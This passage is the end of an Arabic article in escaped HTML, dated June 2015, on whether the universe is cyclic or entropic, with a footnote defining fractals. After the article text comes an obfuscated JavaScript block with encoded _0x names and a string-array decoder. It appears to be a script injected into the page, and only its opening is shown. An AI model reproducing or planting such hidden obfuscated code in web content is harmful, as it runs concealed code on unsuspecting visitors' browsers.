\u0627\u0644\u0643\u0648\u0646\u060c \u0645\u0623\u062e\u0648\u0630\u0627\u064b \u0628\u0643\u0644\u0651\u0650\u064a\u062a\u0647\u060c \u062e\u0627\u0636\u0639 \u0644\u062a\u0637\u0648\u0631 \u062f\u0648\u0631\u064a\u060c \u0623\u0645 \u0623\u0646\u0647 \u0633\u064a\u0646\u062a\u0647\u064a \u0625\u0644\u0649 \u062a\u062d\u0644\u0644 \u0644\u0627\u0639\u0643\u0648\u0633\u061f<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0647\u0644 \u064a\u062c\u0628 \u0639\u0644\u064a\u0646\u0627 \u0623\u0646 \u0646\u062e\u062a\u0627\u0631 \u0628\u064a\u0646 \u0627\u0644\u0643\u0648\u0646 \u0627\u0644\u062f\u0648\u0631\u064a \u0648\u0627\u0644\u0643\u0648\u0646 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u061f<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u062a\u062d\u064a\u0627\u062a\u064a<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0639\u0628\u062f \u0627\u0644\u0639\u0627\u0644\u064a \u0627\u0644\u062c\u0627\u0628\u0631\u064a<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">1 \u064a\u0648\u0646\u064a\u0648 2015<\/span><\/p>\n<div><br clear=\"all\" \/><\/p>\n<hr width=\"33%\" size=\"1\" \/>\n<div id=\"ftn1\">\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><a name=\"_ftn1\" href=\"http:\/\/www.politiquetimes.com\/maroc\/index.php\/fr\/2015-03-14-19-15-10\/2015-03-14-19-15-55\/2383-2015-06-01-00-48-48#_ftnref1\" title=\"\">*<\/a> \u064a\u0639\u0631\u0651\u064e\u0641 \u0627\u0644\u0641\u0631\u0627\u0643\u062a\u0627\u0644 \u0631\u064a\u0627\u0636\u064a\u0627\u064b \u0628\u0627\u0644\u0634\u0643\u0644: \u0625\u0630\u0627 \u0643\u0627\u0646 \u0644\u062f\u064a\u0646\u0627 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0627 S \u0641\u064a \u0641\u0631\u0627\u063a R<sup>E<\/sup>\u060c \u0641\u0625\u0646\u0647\u0627 \u062a\u062f\u0639\u0649 \u0641\u0631\u0627\u0643\u062a\u0627\u0644\u0627\u064b \u0625\u0630\u0627 \u0643\u0627\u0646 \u0628\u0639\u062f \u0647\u0648\u0634\u062f\u0648\u0631\u0641 \u0633\u064a\u0643\u0648\u0641\u064a\u062a\u0634 \u0644\u0647\u0627 \u0623\u0643\u0628\u0631 \u062a\u0645\u0627\u0645\u0627\u064b \u0645\u0646 \u0628\u0639\u062f\u0647\u0627 \u0627\u0644\u0637\u0648\u0628\u0648\u0644\u0648\u062c\u064a.<\/span><\/p>\n<\/p><\/div>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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